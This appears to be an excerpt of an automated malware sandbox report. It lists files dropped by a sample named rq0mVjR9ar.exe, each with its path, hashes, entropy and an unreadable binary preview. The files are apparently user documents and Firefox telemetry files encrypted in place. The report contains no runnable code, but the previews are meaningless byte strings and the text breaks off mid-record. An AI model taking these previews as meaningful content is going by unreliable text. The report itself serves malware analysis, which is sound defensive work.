Preview:	QNCYC...fn.=..."..t...4.l.S....N.S.9p..H...Tu.H.i..Yx@.Qy.B........l.....s.$P.JO...ft...b......:.%.i.t..{.v..O.Z/r.....J...{.6jg.a%7.Q....:.:z....;.w...._(I...H1O...rE..z..]..0][U.1.R.1Z.t...DP........\|,...O...^..]w".'i7O....H.<.f...jrn....0.?.$....Jf:.b....-..rwYV9...k.Q.u... ...8.....D..........J...#....w.X.k,.Fs>.=...V....b.!.....;..[(...Q..C.....O.c.@.+k....N.im..w.Q...h..!...$......i}.!...........`o).&o.O. ..T.....&;...y..=0..(..[.I;..4g5...2.9_.A...V.....F...........i..p\.#..../............II.V.8....L...^5K....3..h.......].P...ivL.cq.K.q..@de*.=lM...?..S.)...].......X.y..L[..R@^CJ.0.}N.).: .^...gO..1F.u\|.......,cR.\|.a......S.. ...:.....0v"._.W.Wz.sz.w..._.....a../..`....L.U..n-.d..l...%.}..`.(+....._.yB....M.K8.<k.\.K.'.oQ5:.)...`G.J..........\..U...!}..5oQ..@.6...aHT.6..eq^QTg..%.K .ize.....8DO.d..D.."y..E.;H5f.J. .....~=U....G.........-M..b...)B.T.f.O..H......p..t....>C...K<....8.....V2t..j1:.....&...V..9.(.../..B..Z+..JBxgtT+.}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.jpg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8539363589595546
Encrypted:	false
SSDEEP:	24:LzF8/zUWe4lepqTA4lG1EWNAsXS52SC1F6gpx9mqlsSsBSiTkbD:LzWzU1dpqTTlG1dZXSQzRx7KdiD
MD5:	BB4122D454372E4C0BCFBC9ADBC64B72
SHA1:	C019A3187A1AC723A020BB6ADD7B1B0862AC2C2B
SHA-256:	2D09F7EA8CC434CB635767AC176011D0ED47FC77558F84B0D474F9494034DE59
SHA-512:	F9640FF58C54D66CB7F166703EF623BA5EE8F89CA889B5A06441AF7421A5F1CAA331D4B518444E0442862F95E27A92B54DEF9323BD57C9718C4005854030246B
Malicious:	false
Preview:	SFPUS2..Z..\|..H.$.......9.....r..l....A..P^>......m...X.<5..GAZ..7..-.;.N...>..2_;.....9..1GL..n..Q..G%....1.....G._.Ke.Mq.Az^.......^...B..pk9.v..R46...o(.....T....."J.:..t...W.O{w..w...^exl iy..=8.3f........\|.iN[....V...{.J\|.......A.?..s.I.... ,._.Ug....ak..5.B..E.m..X.......,...l..k.o..rU...u..V..s.oc........rI8Z#5#....L....b..>........@..m....2..{E.p...R.O..g.!..;..F...X......B...R.....%3.3...4!..\B..T.6.tm...:.Bh=...].E.x.J..H..^U....@.......3Z.#V\.t..BVa9.....G....V....Z...Mz..A...TQ._..b.... .kz...a.W.k..z@[.<.X."P...../.yZ\..e....>8.7..z.A.t....s{.../mW..F...A.WswDw..z=.R.1[q..\..............B=..)...?.^.._.;&C=.UP..B$8.....7...a-....~.."....P.Q.;....@.....2....O......M....c`n7.Lz.....]6.G...O;b.....yI..$.....tY.....A....r.H[..#..Kxm..%..e..W3~.CB...Q......`....L..J...H....bw../..9*..Pn]!54p..C$ECW..<.._.........F)...........O..u.]...k......h...e..p(i..".R..d....XL.e..n...J....A?Q$H8..!.........7<.O9..@thy...{7uL.Wv-...N.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.xlsx

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83031371496888
Encrypted:	false
SSDEEP:	24:ss1712SYtH6qbWYQY8QfogHpKFcMJvKA4BthM5rxWOlkiTkbD:sE71dq/QY8uo1FcMtKA4rh2sQiD
MD5:	9D0B895129478311D4350FED31AFAFC9
SHA1:	A84014277BD86FF9DE0C65005FC9B357E3C0D45C
SHA-256:	7CCF7CEE9D3BD3891B12615348985A458687B8011ED6ACFB0598B15E7109EF0E
SHA-512:	65BBD540CCE72D1EE08990F841C71BA02ED9DD50F39600D71B8BDEC7BB3692BAA8F0B1D91FC6F85C7CCBD860447BC9262BC1657840ED2BA37F0C8FBB0635AE9D
Malicious:	false
Preview:	SFPUS.zf.-.X.Y.hE.v....K..w1..N&....6.`...z.G"..y`......!q.........'.hO..Aq..._..4$5.p.eS#...e]..4...l5~.XO...9+.....W....p..Kj..'..o......N.kAC..wVz....Zc.1..B..?u.6G.Pj....s.....?[.........."._..b...._.6......2..`.......G.H$'.R.y...S.]..=..z.9......Up.....m..w.fw.......k?...wE.[Z...P;.!%....9..>2.E.?.-..8.00...2.?.[..T.~...>.=4..w.}j.....w.....}....^.....]...L.^(k$K.{.'.Af.f5.........-.... Q.....,,..<...5......~.z+gM6..oL;..VC.t..x{4.MQ....@..7....]...J.2-.D7.G......:.k.Y-mLv...Cl.....'.1.........v.8\~O.^.y.....-.@.!..M[7\Z...e"bE..T...k.......}Oo..R_.b...Q....h..~..~j..v....^Jz....n%..;....1.V._.9V...}...wam..M.P....."HMn....!n.].EU3.G..#.7...6....L....lF..~.oco.<...EryG.ys.X..v..p.2k.<...hX3."(... ....n..N).tY.=.\|.`{0....H...Q:.4:......O..Ul..u,...E."j..s.<.`.........AKT..CT.h.......W.M..j=f.;6-..<v.L..r.....I.. >{..lu..5eE.`..0/..o.rQt&./q.Y]...{....l..OGX...9.......Z...T...CuI.M].).X....2.7...8l9v~.h... c`..].LD.. .S.....f.....8.l. ...7.A..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQRKHNBNYN.docx

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854969247175332
Encrypted:	false
SSDEEP:	24:YBCVo4W9ecu51BOwtmNk7I5BuY7DdZNS2Qc75Bb1L2CFE9iTkbD:YBCVo4se5fOwgG7I5nDdq2Qcbf1iD
MD5:	8B18106A71B5C7AEA67FAD1F224775E2
SHA1:	2752C53D3B0C08FA33E38C2DBB168BD40CE0B2D5
SHA-256:	11186B32E5259820F53565EDA0C71E067E9CA5CDBAF8F80016E3668CFE235B0F
SHA-512:	9379D3C76074AF2880642297E60E59F912B662F5F143641B54B7DB6C7059BA41B56ACCD16B145C527C276570FB67BEC11790FE9D3B6C5990A1096F8304E67845
Malicious:	false
Preview:	SQRKHAw.h)o.?.I^.......`{e....S.p.Kr..T...".C.hme.\|v.O.....jfK..r.....4+..9C.L.-Ru.56...X....y\..9.A...U.&..!...(.,6Q.CJ....%...lm....g..8.n....z..p...-......%x/O......9..../...t..;a.V.G].87..\|U>BR.E....y.x...LV..=C....W.X.#l....`c..".5..}..o1^.......;.]S..V..3.g.....D......3!6G.....~...u..F~j......:....k.t.W.....&",..E;..kG...;..]......._.......U.5L.....g..I.......k.[..H....m.....g.t.,-..t.M^...?tWA..( .{.h.O....))....g4.. ..."k....Y...Hm9/..........^.7.F3gqA....<........Q..6...X^.....4..Y...T.,y(e.m.p.L=-.V...z.5?..9.t9]..b.o:.....o.e...x..1C.........;.......3.^..{....M7.U.k0.`.-z.. .....u.../..i5.j..<..../..y..u...,?..{.....b..-..'n...;......*.z.W.B.p.p.v....G........@\|I.6..`..x.F.r\.rtq.W9u;..v.5....{1b...(.]...G.8....'KI.....#....lzY.Ag.....8....W.....\|.o....Yr.(.E.G-..9.z.8#.p.:..J.g~V..`...@V...Q]........s.....\.\|t.pQUT......f.......&............u......L.x..C.\|.P9.v.l..d.......o...U.4Z..[....._...C.=......._..X.7...W...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.jpg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863327139596664
Encrypted:	false
SSDEEP:	24:q2ilgQ1nIH0aP2DW6p/o6DIjLkO3nAHJDuExIKJHAZRoj+/iTkbD:/Q1Hae/o6kjLb3nUXpOAiaiD
MD5:	6C71F9093C88318FB32410E7F6599D82
SHA1:	BB8C60CD1A785DCFA9A4714E5AA3750024A40619
SHA-256:	8D35BE63F00CA90A58BC01F77C88B9933202BE29712D24570AAD54327AC80F09
SHA-512:	6BFF66723A87820DDE1FAA3815A2BC7985BB936A7E4ACC4FC089309A3D98CEEC05737390598DFB315AB3D938FF025F5DB3E11FF2AAA8B8B92225080AA5165605
Malicious:	false
Preview:	UCKFK.H.....%.+.w.....la.[.....F:T.o..hU......5.&.U.+?.q.4..b.f...f...w....b..fV..a..7..:..Y.q@..Z.^..'....S...n...Y.8R..5I.=%.'..r.x.5{T@.P6....QU.W.N.q..;(..c.RV.I0.m.m...........I.mfV..Rp.t_..D....w....;.8...{w>3._...bX5/...g....Z.v.~.C8....b......X.Zi.fF.eV..n.a.]Y~m....q3.....Ea%.y.O.W...P..$.L.t.ok.....m.....%..o..K.N.$..H.d.sy.C)...]..F#:d.e.0.b>y}.S.{._.......'+.....Fc....._....S..r.F.r.$..juA...?h.v....(...s)..2.)vx8s.W... yZ.........5T.3u...N7q....mrs...)..u . .L...4.../..].6?....Hh...nZ.%K......8.>.+.f.N...i....A..z....C...{..zD...1..ifu.7.`..C....~......O&4...n...5.L....i.7)....`<..{41#c..%K.....(4+...-p..u..u<vt.\|VL..u.....r.....<-:...:...y..K......v.Qj....Q...6.+>x.gB..X.............?..E[..T....+..S.......!...v..OT4.\....#...[..`..6c.+.2.;\|y.P.a.....I=[.v.+..4vv.R...')1...`e.......`0c.2.]b.t..qz.[..#T..... LHX........-...4$xi.(....\|N..Y...I...c.G.G.A.dv..>2?.I}.B.a(.8......,..X.'D./..z...{.Am.z.......P&.{!.O=O.._&...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.docx

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842414735779379
Encrypted:	false
SSDEEP:	24:2uXB4VBEEuAbtpfDYgfzkgPy5shKn3LUF1EjcdFM8rfLc+Kjt5Nx1o9iTkbD:2uXG8bgfzkgK5shCgFLM8rfLc1hxCUiD
MD5:	4F7ECBF2E5C77E152E67CD5A0FC18A67
SHA1:	EF9B930631E305E71517D53072237FF8DF51F157
SHA-256:	A6363D9DE468AF2091C89AD96882008071482036AB44683468CF0F6D9ACF0D96
SHA-512:	8DA48EBD96C83524E65675FB5A45C9F4A9926A322F25BD6C1455FE5FA55A179232A4FE4E2B8291D95461CA0DA60E930AB7BE60014BC5D16C4882EE2FE3DFE953
Malicious:	false
Preview:	UOOJJ4.P .{..........B.](_(:b.#s....G.+.0.....:0...f.J8.Y...M..tL4J....6...,.J. [.y.....M..\|E...,M^.....D.}.I..w..`..o..y.0.S....I6....9V......%....]!$.%...Hv.\WT.Mr..X.2..' q...P..q@..2..zt..tr.9.....q3H. ou...?M..X..i).=.z..g.9.+.hl'/......k..>sdx6d......@/..i.....b..R..L.-.~........p..{2v.$.+.H.U.DT.u.ru..\|r....Eb.Gr.."8.{...Z..f5...?...Y..CQ.T,..Vru........:b.mc....`...2I.....<.....'.[/.5\|i=..).C.$.[..6...).......W;..bBk.#Kh..%).L%...{+.a.-@.W..V"..X.\./...1..^3.../?..hJ_3..I5...%.C.W.W..Y..d......9.C!.KfV.3.....C.;......,.\|....d.d...C..q.a."I...U..&....u.s.B..@...9n.!D{y.W+cy)z3.0n......8....4....j...@J..F.....s..BI....Y\|p..l.)aZ.....(:..1.x1U..+...;..%>.....c'....QO;.T...m.3m..d.^._i_.VGR...<>.'.L.....N.......iN..=@.C..:.........F4..J.R._.fF..'.;.......a.L.+LIV.m..f...X.eW.#.<=.....y..e.)z..p--L}....3_n....E-..]...;*.SM..H.......^.k.9.~.Z.8\{.R.+.G.}..G.S.....`s...$.=~..`.+V.k...put.U4.#.....[......r2VG=...\|U.Dy...X..u..%.\G......{5S1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.xlsx

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836792514415417
Encrypted:	false
SSDEEP:	24:x1AvyNH99CbhyEr5C6yLUa0/bzmp8g71hic8Cu6Vr3uUUCUVvBbd0NrJiTkbD:x1AvyNH9GwEtzYx0/Wp8g71hF8pqDuUz
MD5:	48402610655406232AB2FCD221520994
SHA1:	4A38AB9E95446ABBC3B454FB5632E41074F9C557
SHA-256:	3BA6E9060F3E10D2550A3B01AEF4DD1D60DB8CBE00F6F243A77559B28593345C
SHA-512:	C870840AFC72BA040475252DB54E43648A25FE126456194550A3E6562627C8F98DBC274CDB31EFD70A0A068D7B967BD579CA74CD34AAAD5499DC1B58D7592974
Malicious:	false
Preview:	UOOJJs.z.G.w.G..R0.~.]...f..a.......A...`-W.9a7.F.1.....<v..B.....!5...!o@...Gb........5,'.........K.&.../.6.g<..7#_.'".....dK..........-./'...m..j<~."Xb.:l..s....O..l...w.u..i.K.m.6..m%z.S...t&m....~.....e........;...xm._a...e......Ly8...w.6..n.B...\_..R..2...F,.6.....K..8D..AWs;.z.o\..._.....6.4.>.........!Lq,I....?"..c..TT...FRl........1_;.X:.%...$...N.g.~!...b?..1.e..'k.Jq=Y.....~..h.+.G./.....>....L.N.K..H..)7..P...Wu.....<3Q....cB.@..}.?...^QShd(x..[..T..K.~a......n.U......4#....PJ.(...\....3...j.8.G.....e}!.1...Q..~...T.D).3..%.5\|.`X6....h]..#....7eex....S./.N.-2.u.3."..T!.(7.2"o...w?..0}.9O..5.....b..~..F.CO..M...o7pv.7.....j.d.b..0.h.F..Kl.<R5&v.9W".%...-r.,...dF....Z.a.....&fX....f7....r.5..N.2....R8..Ds'o...a"....i.7"..}......ct...L^-.....\4,_..............N.L..}5....6..a.5&..z..r.....;~@........J\|E.Qd........cgT1P.Z............FI.........w....]&..'uF....RH..(...i....:..#...Z.....<oY.H..rI]..H_....7._......!

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.jpg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829745909093617
Encrypted:	false
SSDEEP:	24:IDWzuzUlW6voSt46Mw9s4vIP8VDrKUZyoX+nTvRKPSaTFExhiUlFiTkbD:EWqWWeoStBMaVD+UgnTv+/FEvi08iD
MD5:	132BE9AAF932140963C3EED047E04929
SHA1:	3E7263A4363FA627234FDED7B1CC14D35AAF3864
SHA-256:	2BABAA60A5300CA53BDA47E336018AEB0508AEB6A895F2B951FE54649DBF2169
SHA-512:	13DEF8FB1DF518550A882942EE05B386053B7FC9BE1D36AEE2E60D1D706DF478A975C31F71DAC8B65C575E07A415E88DB9D70A45E24A6DFC865C69157AAE1A3F
Malicious:	false
Preview:	YYTXS..~w?D.......3...'...^.-......JV.:'."3........!...i.#.,..!cL..W....B.W........x,".U.`W.X.N.....W.....u..A...N.XH..!.t.}.....-...I....T...R=.......%m.....P..Nl-gW.m.C[.U.hx..wH........;s.%...Ax#0 .F.........j.].!.....B....U.......G...?...BH.)..O..T.M.R..%. ...u..i..Z#...Z.h..g....C+.x)......e..:p...3.........;.,...G..13=....QD... I.'....x...u2.....H.-.I.je.lb...)....P.bd........wjL.S.....(...}...!.N..0...p.........#NWcB.<26J........1.llu[0..l....(...#j..G....1...)GJU...Z..%]..4....A......\4...n.;..E...TYx)u.....I.:...\|..2.E=.......Q..`.......n..S.I.w....z.\.+mz...@/...].b..s/..]Z...C....uX..`....N.....e..D.w...i........<E..v........_.m...!.\|........Rw.....\|.KN........~.....J.....C.3.s..g\B.+.LY5GV.2O.D.o..<....J...@.."<.....e.n_. .O.F,.I....Mq....).vV.3 .I-Q.,.F.q.._Kj.../..J6.b...b.h.-.b..i..3..#c.S{...(36~lp1j.Y`Dn..a.......f8a../...9..!F.../.....".jQ..~.....Y`I.8_h.......> ._.E)q-.x.j...f5(F1\O..W7hJ/..e^......9.}Tb.q..w

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.mp3

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834596773557205
Encrypted:	false
SSDEEP:	24:nVG2ksQVJVqVPX1Mv0U5d5hNTd/khzgcDuOMMhTu6800s/HFVSTZgsJiTkbD:n8PBVqVvO/hNTSh1DY0lNVSi3iD
MD5:	C124E2218B08F04610C252E33100C25F
SHA1:	F1062821EC43551B4F09FBCCAD31C40EE653B0BC
SHA-256:	F274380BD7FF6723F7459CDA359BDCFAB177EB62567C5FF124973D453EC6936E
SHA-512:	6626D31A080F98E0EFE546433D214E458B2D642DE34590B9F6073AFB2CF4E00A9F410DC83675154E5F4BDAB055EE3EB92C5D92DBE43C3F986265D965C151C4A5
Malicious:	false
Preview:	YYTXS..z.......s..d'.?.&.l?..""...+.M...eVhP...5....%.^.3........>.,k...R..du..._"=..m..8..-....j...w.."j..`....F....&.n..9BI...1......J. N..[.../.7V.$.....G.E.{....T(.T+b.(.a..akV.>......E....n.H.5...O.......A.. ^\|Yq\...'^..q/X8..b'i..<.........F..{.b.nI...{.......l..9T..Ak...+.?.......Ze.v$0.K........Y..CO,...1...j...,e.<..B..........=>.....KA.=.=t..t=j..x1.Z..;......}[..G~Nf,.,...M...%.$e4l..z3...8.rpn.@2....d-...l.O....?.[.........2+..3F..-.\......<....HosVR...R.4....JK..N...qj....JP..s.....z....z...v..1....^..=k?V-N..lBwa..'P.._.!....z.>9....%nZ.rgc.H.yB.....I..L.Rg..c..g.~`B....ip...,.........<%C.{...Be..0...j.q....:M..z.U....G..__.a.z7.c..6.D.t...]..,.u..(.........5.i `D.Nh.....g..J...7O..0..2<6.OK...%~...n.GiP..F..K....YV..E.7...GD....i...e?&)`.;........:b&.A4.P.....fk!......-.0d".n>7..huc...3...$..KZ.K.......Q...B.KLF/-..~...H.....@.8Xf.U.%..S.nHL.w$.6..A...{.8$).I..l...L;...a.`..aB7..^zz^.c`.....a0.M,...*..QA.hN..c..X-

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.jpg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822785448672064
Encrypted:	false
SSDEEP:	24:cGYOCa8iKLZrQRFstoFPFviIXZOcSF6KTdIz4eNIIO67XfgCqxYiTkbD:j+ZiWZrQRitqPli8OcjKC0gO67Xo7JiD
MD5:	DBD173F4FFB8CB62991EC218E4BB1730
SHA1:	8535D8482991DB2D4B0098DAA22347543420E13B
SHA-256:	0FE0CF5D99B7194091DB77D36E537E922A6E31ED6E10C8F19CF9DF187C991E8A
SHA-512:	8DF48123CAC62FC5FC0C3663702593724C33BF7F7C0326EF7D983ABDF2E8AC009969AE72601F549235A2B3CB5AE12404FB8DA0E7E4CC0134C640C29644A83F63
Malicious:	false
Preview:	ZQIXM._.!.(_F....In......:...P .._.K.l..6`8....t.}.Q.....;..'.k....7q..............,y....`.l.o....@..]]vK.,.{..^M...]Gfp..{y......Bp...U....X.{.C1r......&...i1&Md.i.../ ....0#(R.{..\|.K.fbh.d...s.....\|C.;..&.>U.Q.......9b..a.."_c.=K.~...`[..U.{..;nH...p_s.d....2ml~c"C[I...i....#..Y.Wu.u2.{.!g.zy.....X.=Z._.n.YmMz..dE...D..3...gB.Z.'J......S{W.....\|..g.qN.\J.K..$?..{.Y3..G..h...W...x..h.-..l...P+..!.4.7..-...')B..~shS."D...........}f... 4.y.A...m....7.m..<QV...cjK......y.!4A...{Y0J9....U<..k5.D.A...W..+..>B....Q._!n.......1Tk..I..cD.jGg...J..[.(X[..pW'..$....,q....f.0I..-3R.1n...W.....nh?..t,q..Y...}w.n....H.T<.H.i2..:..&..........7..K....]...+~}A.B..D........v.d."L..Q...1....'J..-........9ig...k..$.....fr...H..hje...a.\|j.'H._R...W}.R!.....]m$$..!.)...tyY.$M...,.K..Ty.m..c..P...uz..E+.ej.y...C;B.R.O/b.I...eJb.1.4....y..+..d..+)..@...Y..l....{.....7.L..P4.....'D....r..<.p.h.........z7..1f{....B6...Ak.4.+..8N9Q.i.......t}.O..Y.............."W.<.j.s...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486832118.b6281059-34c6-49d8-97c7-24de33b104ab.new-profile.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3841
Entropy (8bit):	7.953330824552726
Encrypted:	false
SSDEEP:	96:OMAPtPzadft4tyzeaki4EyPPnVNsNRFpb5mz:vAPpaNt4gIEyPENRnG
MD5:	8D55F62438C64C12028E34BC28BC209B
SHA1:	B545A2434B503161B9C886F0C7F4F4962419E726
SHA-256:	A0DB948BD2E9F6D9C9A3F41CDFAE5487B46D5495C5092762B35C22E49BC1331A
SHA-512:	207FD2CF152C167472F0F37C3FB132F3185D5FF7D869A449DA7B03880E3FC4A812889E4FC5FE44231CDCBB9C75286DEB09716FF675DFADEA86927AAFAD092CA6
Malicious:	false
Preview:	mozLz._...%.8..dO...."`...X.~..6..m..h..;g.\....GE.]......9.3k.Uw..'.....Fft..Wf,@...+....{m1.....yd......(...1:...Z..(a`..,y....2>..B~...-._..Yh..T...NZ....qJ."<....$..!\.......V.w.qpRb.g)....o.C.FQ2...g^%.W...q.c.....m..s..B.i...U..P%..s..(.\........t..-...d0....".......H.`.sS..6.\|..GHF....NrCu..f......R........Jmq...O........Q...M......[G.~.?....,.s.$O..........E...H.7.....<.P.........B..S......L.....EtO..3...$..{..?.;..1.b..x...#... ...J.4;..a.1v.Vr.V.....v!.............>.6.H...T.....4..d..X.......aj!%........h\!..I.-.LC.........J.%...:...Km.k.>.Z>c.<z...[..L.<Q.t....x\...G.b...Y....D.R..J...cw/......ch.t.:......R:.a..._.hD.....dVB.....1......(\.8...P......y.gD....;.+E-..g..."K....,u........}.j...@]nL....# K>y.-0l'.,..........a..#..."}D6\|..0...a.%?.S9...........0ww..V...3..`.i+z....j-.m.1.y1z....=..v....ee..&..U...o..x.\|Cx=.y1r.\|N;.(O....AZ.>...K....P.].....W....v0......c/..5:...G,..B.......d.._..1..8..P,s@...Lu..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486832120.4cb4db2a-ee68-4128-8ff4-f04bdc710c24.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3919
Entropy (8bit):	7.949814064740465
Encrypted:	false
SSDEEP:	96:MWiVh4lH3rqfy0EOgtCGy9/k+DbjP2pGaoeDs/5n8YsOTKz:oV6lXrKv/k+jMosa0
MD5:	969E1EAD18B4B92F224FD496DC21BCEA
SHA1:	B5B26A6A752A79D39CB4A4E700D89C9EC6F76355
SHA-256:	3C2DDA32F5AA0F90E9F9DBFE44456E53F0CF75F7BB8E7D67701DDEBAED7FF514
SHA-512:	3ED576184F88CEA7831B375E4D91170DEADC3A08E75317B10198FEE408F8DB856A7680EC4D70ACFF7761F129641123160B55BC2F7501BAE5460EA3EB0E440FEC
Malicious:	false
Preview:	mozLz.A..?V......Ta...vk..S...{...zTP)..<.M...6...........2..nceUz.r}~.E.m..."=+......JB.. .....%:.L~..l.C.^N[.?.b............}./I.q'...)\|c.!5OQ....b...9I.Q:M. .3a/.$>..M..s2..4..V.....W..>e..........r..[.s?;...Q......p..].<....... ...fN<.,T..:C{.=_.&....nC......S.1....B2B_.....5<.RwB......*..G...Y.X........j]...Z7m.eD......-.Bl.~.%......_s.....-6....Q...h...N6D..%...Q[Q....V.P.6?.8...+T...G.~g .}..ww.>...f.o.1...B...>m.s..>.B..'..b.(`...b..4rz.p.}....3...l...-'+....Q...3p.....L......(G.'.........u~....%.T.O...p^..i#....=...2Y=f{.....S......W..C:..1H...^..v.$L..!E.w~...{u.0p7.y...T2...K..:.J..oa..~.a.[..)....v..q0......cpc..w....o.B..4'.s..\......;.......^d.[.e ...o.3...d.}...D?..!...5`..&o.\6.rSn.j.G(...4..V!...n.m.....3.=..&.J.&.qAZ..\P.G.[..Lw.$..k.........O.;..'.lD.../.?..iG..T.bO..........V..a.8..W}.....P.}]\2._.S.#...d..`...H........)U..{...X.u?....-.n..e.-.m..\|.....3Q...g)..z..p.K.l..K..x../...=.xO.oQ X..?...8....1r.........m.g..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486832123.3eb2db8e-f770-4c52-9d7b-27180bea4925.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	13932
Entropy (8bit):	7.988680585344395
Encrypted:	false
SSDEEP:	384:LynaP0TSbbdbTyq99aduTWrvWsEUP6Ceq18eruxqrpw3:LBHb1yRjrOQP6Ceq18erQKu
MD5:	E25C371534129457913A1D70A707490E
SHA1:	2D9D4E9A7651057F300F2892D3FCC217B2FD82FD
SHA-256:	304B4992C70D7A9EB385645B31EFD946D2BC687554CE08F61E4A28E4A54D94BE
SHA-512:	AAAC9402F89BB8D92481A1B3565373DA7C69C9F1873E27256ECC11F50C9DBF8D3F5442766ECEB7366194A32AD2994ADE8E1B0A10C5295999AF93CE802EEFA520
Malicious:	false
Preview:	mozLzz....4v..Y6.V......#..U.<.EU..N.OVI.B{<.Y.s^.k.-x.d........\|ys.<.....~.3\....r .t..t"cUA.d.Y.N.b.v-{.Y.h..:1.<.@.7....;...O...".....x...).df....Nc..^z."i882 Ky.B......;..q.N0.......t....f.B:.__l..M5k.....)....B.g...(..-cR...O..d(j.M..v.}.=.)...%..ux..okM.......#.i........D.{.....z.$..!........u..%."...;.N.'W...hG.'../.....V..........z...2...5D...={..s..T~r?..]...@.'.8.vU...^..)R....B.....I.....G.......s\]....6o....@.>:. \|..G.u.?........4....\4.F._.h..p..[.vh....1...UM.....b.....6.t.......\...lm!..7.m...Q......?..".@....g.R@.S.~..{.....7.X/.9......pJ.........Ty.........h.y.@8_....8q..D8....6..w.q..+.o..oB.M...s......v#.P..s%.9.....u.#s.#.c.O...Pzp..,.Zrx.$..]._..b00.F..0..a..O......p.pT #6&2Dp .~.:.f.Y%.X...'..J.^!..$.........z...Fz..a,Y../...._....<..U.P1e.TX].=\|..<.l.ocb"'.y-8.zl._.>.u.On.6.~.`..'...tOX....+0z.V...1IQ..K~{.....O.wD.F..V..w.~..N..6s.28UU.2`.P.ah...vV...p)SR..&....Ikt.C...S...Ja.Y.1.Y...^2p..........~..'?../..i...c..E...F.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486832124.b6dd686f-a071-4a96-9ec4-4a8ffdac9d0c.first-shutdown.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	13928
Entropy (8bit):	7.987503215534384
Encrypted:	false
SSDEEP:	384:uEB9donkb7ZTss9EtzeaaG/zZnFBRq4266:jBB+9zndFBRM66
MD5:	56882CA569B3F029C9647A041D613F3B
SHA1:	6D4CAD7690FA46746DCD11426003CBC06D7CC141
SHA-256:	7CF559E7AB6D6D7A1E47719DF7FDAD6B9A0CDB86C708207B9C2FF93DEB4DC2D9
SHA-512:	51E9F936126FA9F5BBC3240198B207E0460C9F4709504EE1B333A57B477E13A2C71C0012040F2CB6D4CCD00A42D430D1E0AECB408F7D68053FD2636E21596C36
Malicious:	false
Preview:	mozLz..!..1....3@A..^..h.\}...AE.\.`..P.@.91.%V.;.X.v.......Hb..Xdy0z~&............\......L.r..R..O)8L.k..!..S..Ub4XI..-l}.....\|..:....+UJ,...G{... .k.!.f.~>.z....l<6..k=]..A.z.$..uWNB.#...s...C.j....E\|[.......3......!..^\..B+..?S......D2...5\|..p._ =..`S..j..h.eJ.o..e.f\|K..!A...}...?..8..6...O.k.Ga.>.&@m_CT.<DN....M._..:.C.S.. I.......BajB.w..'.\|..Iw.LQ.z...B=7z...l...IL5.E.6.?...e..Wh...@....H.........._........`a..[/y...H.#.E.....V@....f..r....X.K.1i.$.....~...WOo...D.......W\...f....+.G..c...................eQ[..t...."..s...2..J.........f.].G......o.)7..1..-.....x...8.0.g.....j.M.zx]=r...7....'....s.T..^#..R..4...h..o...k....q..G.).a.9x.y..i......s..(..#..KW""..Qg..h.......c....2}H:.FqV...7...^..H.S.%#.$...=...7t.?..;dz..u..G....-...M.l.I.;,..}Xx^>..p..l.. j.....S"I.BX[........5....... %4.5..., ..s"o....U..}.<z.._....~..ao..P,.F..a1...A\|...............r`.}...`V..A[..J2...=......BTrb.q.c...}(vM.......{..P..gP.5.g...$..._.-@

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486838393.b7b7301e-d32e-49f7-b138-9fd21cf2ca6b.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	779
Entropy (8bit):	7.7050786031714
Encrypted:	false
SSDEEP:	24:ZdDXYpudSAfVSeW7DsU7FKvLr1kHN1N2iTkbD:PDXYFAfIeYDsUK+9ziD
MD5:	4068FC813C876EE1D0048BFBCB77A97E
SHA1:	48527D9A344F18DC6A88A71882CE81B8B8D99BC2
